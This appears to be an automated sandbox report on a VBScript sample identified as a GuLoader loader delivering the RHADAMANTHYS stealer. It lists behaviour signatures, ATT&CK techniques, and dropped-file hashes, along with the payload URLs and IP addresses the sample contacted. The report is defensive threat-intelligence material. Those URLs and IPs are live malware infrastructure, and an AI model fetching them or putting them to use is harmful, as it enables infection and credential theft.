Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000A.00000003.1761896364.0000000003010000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1835517097.0000000005501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1770106522.00000000240B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1758009836.0000000002800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000A.00000003.1761896364.0000000003010000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1835517097.0000000005501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1770106522.00000000240B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1758009836.0000000002800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\dialer.exe

Code function: 10_2_053C9A57 socket,WSAGetLastError,SetHandleInformation,GetLastError,closesocket,bind,WSAGetLastError,

10_2_053C9A57

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 BITS Jobs	111 Process Injection	1 Masquerading	OS Credential Dumping	131 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	221 Scripting	1 DLL Side-Loading	51 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	Logon Script (Windows)	1 BITS Jobs	Security Account Manager	51 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	123 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
tmkSAOF3GM.vbs	36%	Virustotal		Browse
tmkSAOF3GM.vbs	24%	ReversingLabs	Script-WScript.Trojan.Heuristic

Source	Detection	Scanner	Label
https://www.astenterprises.com.pk/	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ms/Nonn215.prm	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/C2	0%	Avira URL Cloud	safe
https://www.royalengineeringllc.com/ms/ms.bin	0%	Avira URL Cloud	safe
https://www.royalengineeringllc.com/ms/ms.binC	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/5e	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk:443/ms/Nonn215.prm	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ms/Nonn215.prmP	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ms/Nonn215.prm/C:	0%	Avira URL Cloud	safe
https://www.royalengineeringllc.com/ms/ms.binI	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ms/Nonn215.prmXR	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
astenterprises.com.pk	107.161.23.150	true	false	unknown
royalengineeringllc.com	103.120.177.150	true	false	unknown
www.astenterprises.com.pk	unknown	unknown	false	unknown
www.royalengineeringllc.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.astenterprises.com.pk/ms/Nonn215.prm	false	Avira URL Cloud: safe	unknown
https://www.royalengineeringllc.com/ms/ms.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1966922652.000001EC5E145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.1732706007.0000000004DDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.1732706007.0000000004DDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000002.1845588983.000001EC4F25E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk/ms/Nonn215.prmXR	powershell.exe, 00000006.00000002.1732706007.0000000004DDD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000005.00000003.1349172359.000001F91D820000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.1732706007.0000000004DDD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk/	svchost.exe, 00000005.00000002.2612981154.000001F91DAC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.astenterprises.com.pk/C2	svchost.exe, 00000005.00000002.2612981154.000001F91DAC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.astenterprises.com.pk/5e	svchost.exe, 00000005.00000002.2612981154.000001F91DAC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 00000005.00000003.1349172359.000001F91D879000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000006.00000002.1735332796.0000000007620000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000006.00000002.1732706007.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1966922652.000001EC5E145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1733782746.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk:443/ms/Nonn215.prm	svchost.exe, 00000005.00000002.2612855786.000001F91DA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2612894209.000001F91DA95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.royalengineeringllc.com/ms/ms.binI	wab.exe, 00000008.00000002.1771543069.0000000007528000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.1845588983.000001EC4E0D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.royalengineeringllc.com/ms/ms.binC	wab.exe, 00000008.00000002.1771543069.0000000007528000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1845588983.000001EC4E0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1732706007.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk/ms/Nonn215.prmP	powershell.exe, 00000003.00000002.1845588983.000001EC4E289000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.astenterprises.com.pk/ms/Nonn215.prm/C:	svchost.exe, 00000005.00000003.1432823810.000001F91D821000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2612645168.000001F91D980000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2609990879.0000009FF8A7B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
107.161.23.150	astenterprises.com.pk	United States	3842	RAMNODEUS	false
91.92.252.226	unknown	Bulgaria	34368	THEZONEBG	false
103.120.177.150	royalengineeringllc.com	India	17439	NETMAGIC-APNetmagicDatacenterMumbaiIN	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578212
Start date and time:	2024-12-19 12:36:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	tmkSAOF3GM.vbs renamed because original name is a hash value
Original Sample Name:	25a284f3b492b1ef2573a114972267914935fdd0970888c32e96bdf2f5cf132f.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@11/11@3/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 51% Number of executed functions: 40 Number of non-executed functions: 35
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 8112 because it is empty
Execution Graph export aborted for target wab.exe, PID 6344 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:37:25	API Interceptor	125x Sleep call for process: powershell.exe modified
06:37:27	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
107.161.23.150	FjfZ7uM8zh.lnk	Get hash	malicious	Unknown	Browse
	yswmdaREME.lnk	Get hash	malicious	Unknown	Browse
	0bNBLjPn56.lnk	Get hash	malicious	Unknown	Browse
	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse
	xw0K5Lahxz.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NETMAGIC-APNetmagicDatacenterMumbaiIN	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	123.108.47.170
	jew.x86.elf	Get hash	malicious	Unknown	Browse	103.227.39.94
	arm7.nn-20241201-1515.elf	Get hash	malicious	Mirai, Okiru	Browse	164.52.192.3
	SecuriteInfo.com.Win32.RATX-gen.3030.23832.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	205.147.111.116
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	123.108.36.64
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	103.225.99.96
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	203.112.146.8
	ATT037484_Msg#189815.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	164.52.219.207
	na.elf	Get hash	malicious	Gafgyt	Browse	103.214.114.30
	na.elf	Get hash	malicious	Gafgyt	Browse	103.214.114.27
THEZONEBG	cclent.exe	Get hash	malicious	Quasar	Browse	91.92.243.191
	cobaltstrike.dll	Get hash	malicious	CobaltStrike	Browse	91.92.250.70
	sample.bin	Get hash	malicious	Okiru	Browse	91.92.246.113
	mirai.mpsl.elf	Get hash	malicious	Mirai	Browse	85.217.215.190
	SecuriteInfo.com.Win32.BotX-gen.7614.10551.exe	Get hash	malicious	Unknown	Browse	91.92.242.236
	Scan_Revised-SOP_MCA_pdf.js	Get hash	malicious	WSHRAT	Browse	91.92.243.39
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	85.217.208.78
	m7DmyQOKD7.exe	Get hash	malicious	RHADAMANTHYS	Browse	91.92.255.109
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	91.92.246.113
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	91.92.246.113
RAMNODEUS	FjfZ7uM8zh.lnk	Get hash	malicious	Unknown	Browse	107.161.23.150
	yswmdaREME.lnk	Get hash	malicious	Unknown	Browse	107.161.23.150
	0bNBLjPn56.lnk	Get hash	malicious	Unknown	Browse	107.161.23.150
	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	107.161.23.150
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	107.161.23.150
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	107.161.23.150
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	107.161.23.150
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	107.161.23.150
	owari.x86.elf	Get hash	malicious	Unknown	Browse	168.235.88.56
	owari.ppc.elf	Get hash	malicious	Unknown	Browse	168.235.65.115

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	107.161.23.150
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	107.161.23.150
	https://walli.shanga.co/image/view/?id=1375	Get hash	malicious	Unknown	Browse	107.161.23.150
	Doc_16-48-43.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	Doc_16-48-43.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	Doc_23-03-27.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	Doc_23-03-27.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	Recommended Itinerary.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	d2W4YpqsKg.lnk	Get hash	malicious	LummaC	Browse	107.161.23.150
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	107.161.23.150
37f463bf4616ecd445d4a1937da06e19	t5lpvahkgypd7wy.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.120.177.150
	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	103.120.177.150
	Corporate_Code_of_Ethics_and_Business_Conduct_Policy_2024.pdf.lnk.d.lnk	Get hash	malicious	RHADAMANTHYS	Browse	103.120.177.150
	main.exe	Get hash	malicious	RHADAMANTHYS	Browse	103.120.177.150
	deb.exe	Get hash	malicious	RHADAMANTHYS	Browse	103.120.177.150
	iviewers.dll	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	103.120.177.150
	script.ps1	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	103.120.177.150
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	103.120.177.150
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	103.120.177.150
	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	103.120.177.150

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7274771706429154
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqQ:2JIB/wUKUKQncEmYRTwh0o
MD5:	B4997D5CD3C9E4E17BEF4485082F17C3
SHA1:	FA361F88E897AD2F4F7D9A5AADF86E3D72CA3DFD
SHA-256:	9D2E58E82B9DB54ED31564CA394BF1D8726288BB986D4245CB5E6B748268B66B
SHA-512:	DAC31242D6D8C105BC93D41632F754C1C035851311F12976E23463DFFC4F40F0B84838292DA63E62BD02D9D84759008A0FC9C1C8959C17392A24F4ACA918FB84
Malicious:	false
Reputation:	low
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x51c2449b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899920066804679
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	0CC66C38BD0B4B421C8E08A993E33E12
SHA1:	C1EE498C288EB553F513C78C74BF27A9CCB9851D
SHA-256:	FFA64D794C482C27C7D1D338F65D999AF6605B00562CE8529922534A302A7663
SHA-512:	58A5B6F55E8335120DD12C4AF902967E549840A0EF44CDE5C4532F93869017E2DFC43CA3241D017EB8016B4F7248B712D5C9C6B62DFFC2BFC60684709A0A19D9
Malicious:	false
Reputation:	low
Preview:	Q.D.... ...............X\...;...{......................0.`.....42...{5..%...\|..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................4[5..%...\|..................KT.D.%...\|...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0809350900840648
Encrypted:	false
SSDEEP:	3:+HXllyYeJCURz1t/57Dek3JB/u2El/llallEqW3l/TjzzQ/t:+VlyzJTzHR3tMtAmd8/
MD5:	D2BAC8B8DD912739366870BD911EFE39
SHA1:	37A89E61B8F877C6D65282A6C977306629D72C2D
SHA-256:	3294470388091F967DA9DFE9AEB816B67B59E8693FA58511795735E85DC9CDD1
SHA-512:	5AC88FD5B7BC8FB01BBB889FA39D151E550F30F67D6E067D2C591DDFDB77A15681D6F20B0DB5F3D3AAC3B2FA5A026571821A92B81E694713B61C1244543CF997
Malicious:	false
Reputation:	low
Preview:	!r.?.....................................;...{...%...\|..42...{5.........42...{5.42...{5...Y.42...{59................KT.D.%...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11914
Entropy (8bit):	4.899333871080548
Encrypted:	false
SSDEEP:	192:Zxoe5qpOZxoe54ib4ZVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9e:Srib4Z1VoGIpN6KQkj2qkjh4iUxFT6YP
MD5:	CCBF995F792F22E6407E0EDC999E526B
SHA1:	2E7FE0790FF894F3B6308588F3554831EB8F86A3
SHA-256:	7033B857924CA666154A2B1511CB0402232D32658846E3472129C6972A8ECB31
SHA-512:	6AE77CDFB10037C25654DAF74D27F00E555221FB251289A2AEE1AE9E971B76471E2DFD24B1B0CFD6F9C9C6F7C79C227C715130B40CBBC36A7CC675EC139027FB
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1852
Entropy (8bit):	5.522052452242155
Encrypted:	false
SSDEEP:	48:/dWzSU4y4RQmTpoUeCa+m9qr9tK8NfhGn1FUl57f+dAVwz2E:/dW2HyIFTmLz9qr2KfhaIfjLVC
MD5:	14F07818505DDC9FDF3DD3192661AAC1
SHA1:	BA932E59C948D84331FDE722B926473A8FE18DA2
